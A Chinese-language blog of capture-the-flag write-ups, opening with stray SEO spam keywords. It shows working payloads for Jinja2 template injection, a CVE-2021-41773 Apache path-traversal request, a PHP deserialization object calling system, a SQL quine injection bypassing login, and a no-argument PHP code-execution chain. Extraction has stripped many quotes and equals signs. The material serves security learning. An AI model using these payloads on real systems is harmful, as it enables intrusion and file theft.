seo任务优化网站排名,营销型网站建设中坚站,好听简短域名,云课堂哪个网站做的好[HNCTF 2022 WEEK3]ssssti
题目提示是jinja2模板
怎么感觉之前做过#xff0c;看到了注入 随便进行一下注入#xff0c;发现了过滤 大致的黑名单 _
args -- 无法使用 request.args
os -- 无法导入os
不允许post -- 无法使用 request.value 正常用的payloa…[HNCTF 2022 WEEK3]ssssti
题目提示是jinja2模板
怎么感觉之前做过看到了注入 随便进行一下注入发现了过滤 大致的黑名单 _
args -- 无法使用 request.args
os -- 无法导入os
不允许post -- 无法使用 request.value 正常用的payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open(/flag).read()}} 因为过滤了东西所以就可以用request.cooike来进行注入 get: ?name{{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}} cookie: c__dict__;d_TemplateReference__context;elipsum;f__globals__;g__builtins__;zflag 得到flag [GFCTF 2021]Baby_Web
源码 看到标签提示说是有CVE-2021-41773漏洞
上网查一下
【精选】Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )-CSDN博客
根据漏洞存在条件进行注入(之前做过这个漏洞目录穿越) 不知道为什么我的bp没有显示 正常的回显 当前目录是/var/www/html/那么上层目录就是/var/www/。源码提示说源码藏在上层目录xxx.php.txt里面猜测xxx应该包括了index。
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1 得到了源码 h1Welcome To GFCTF 12th!!/h1 ?php error_reporting(0); define(main,main); include Class.php; $temp new Temp($_POST); $temp-display($_GET[filename]); ? !--源码藏在上层目录xxx.php.txt里面但你怎么才能看到它呢?-- 暗示我们还有一个class.php文件
尝试访问 得到源码 ?php defined(main) or die(no!!); Class Temp{ private $date[version1.0,imghttps://www.apache.org/img/asf-estd-1999-logo.jpg]; private $template; public function __construct($data){ $this-date array_merge($this-date,$data); } public function getTempName($template,$dir){ if($dir admin){ $this-template str_replace(..,,./template/admin/.$template); if(!is_file($this-template)){ die(no!!); } } else{ $this-template ./template/index.html; } } public function display($template,$space){ extract($this-date); $this-getTempName($template,$space); include($this-template); } public function listdata($_params){ $system [ db , app , num , sum , form , page , site , flag , not_flag , show_flag , more , catid , field , order , space , table , table_site , total , join , on , action , return , sbpage , module , urlrule , pagesize , pagefile , ]; $param $where []; $_params trim($_params); $params explode( , $_params); if (in_array($params[0], [list,function])) { $params[0] action.$params[0]; } foreach ($params as $t) { $var substr($t, 0, strpos($t, )); $val substr($t, strpos($t, ) 1); if (!$var) { continue; } if (isset($system[$var])) { $system[$var] $val; } else { $param[$var] $val; } } // action switch ($system[action]) { case function: if (!isset($param[name])) { return hacker!!; } elseif (!function_exists($param[name])) { return hacker!!; } $force $param[force]; if (!$force) { $p []; foreach ($param as $var $t) { if (strpos($var, param) 0) { $n intval(substr($var, 5)); $p[$n] $t; } } if ($p) { $rt call_user_func_array($param[name], $p); } else { $rt call_user_func($param[name]); } return $rt; }else{ return null; } case list: return json_encode($this-date); } return null; } } 开始代码审计 index.php.txt 1、实例化了一个Temp类对象并且向构造方法传参参数是所有POST提交的变量。 2、调用了Temp类中display方法并且传参参数是GET方式提交的filename变量。 [GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 保姆级_Jay 17的博客-CSDN博客
[HZNUCTF 2023 preliminary]ppppop
主页是空的源代码也没有扫一下 扫了但是等于没扫 抓一下包发现有东西 好像base64编码看看 解码发现是序列化 改了一下对象属性个数发现没有用 把0改成1看看 相当于改了b属性的属性值
发现出现了源码 重新抓包放包 很简单的一个php反序列化 ?php class A { public $classNameB; public $funcNamesystem; public $argsls; } class B { } $a new A(); echo base64_encode(strrev(serialize($a))); ? php strrev函数的使用方法_php笔记_设计学院
payload用post传参
payloadfTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw
得到flag env是环境变量 ls 没显示出来flag,找了好多最后在env里找到了 [HDCTF 2023]LoginMaster
尝试登录admin/123456发现不行 输入admin/admin
话不多说直接开扫,就扫到一个robot.txt 访问 一个正则函数,看标签知道是一个quine注入
诶还真有分析一下这应该是他的waf源码
没有其他回显并且把大部分东西都过滤掉了
我们看到sleep有意无意都会想到时间盲注那这里他把sleep过滤了怎么办呢 payload username:admin password: 1/**/union/**/select/**/replace(replace(1/**/union/**/select/**/replace(replace(.,char(34),char(39)),char(46),.)#,char(34),char(39)),char(46),1/**/union/**/select/**/replace(replace(.,char(34),char(39)),char(46),.)#)# 得到flag [HNCTF 2022 WEEK2]Canyource
访问robots.txt得到 看着就是无参数rce
无参数RCE总结_get_defined_vars-CSDN博客
highlight_file() show_source() 都被禁了 利用 echo(readfile())来读取 localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是. pos() – 返回数组中的当前单元, 默认取第一个值 next – 将内部指针指向数组下一个元素并输出 scandir() – 扫描目录 array_reverse() – 翻转数组 array_flip() - 键名与数组值对调 readfile() array_rand() - 随机读取键名 var_dump() - 输出数组可以用print_r替代 file_get_contents() - 读取文件内容show_source,highlight_file echo 可代替 get_defined_vars() - 返回由所有已定义变量所组成的数组 end() - 读取数组最后一个元素 current() - 读取数组的第一个元素 #php内置函数 正则表达式: /[^\W]\((?R)?\)/ \W代表匹配非字符 [^abc]代表匹配非abc以外的元素 R代表当前正则匹配后的结果 ?惰性匹配匹配零次或一次 \转义字符 也就是说题目要求payload格式为的嵌套因为他会递归匹配判断[...]()替换为空后的结果是否等于; payload:?codeecho(readfile(next(array_reverse(scandir(pos(localeconv())))))); 做到现在发现rce都是大同小异无数字字母就用取反异或自增无参数就用这几个函数来写payload难一点的反序列化构造pop链也是函数利用看哪个魔术方法利用哪个魔术方法到底还是函数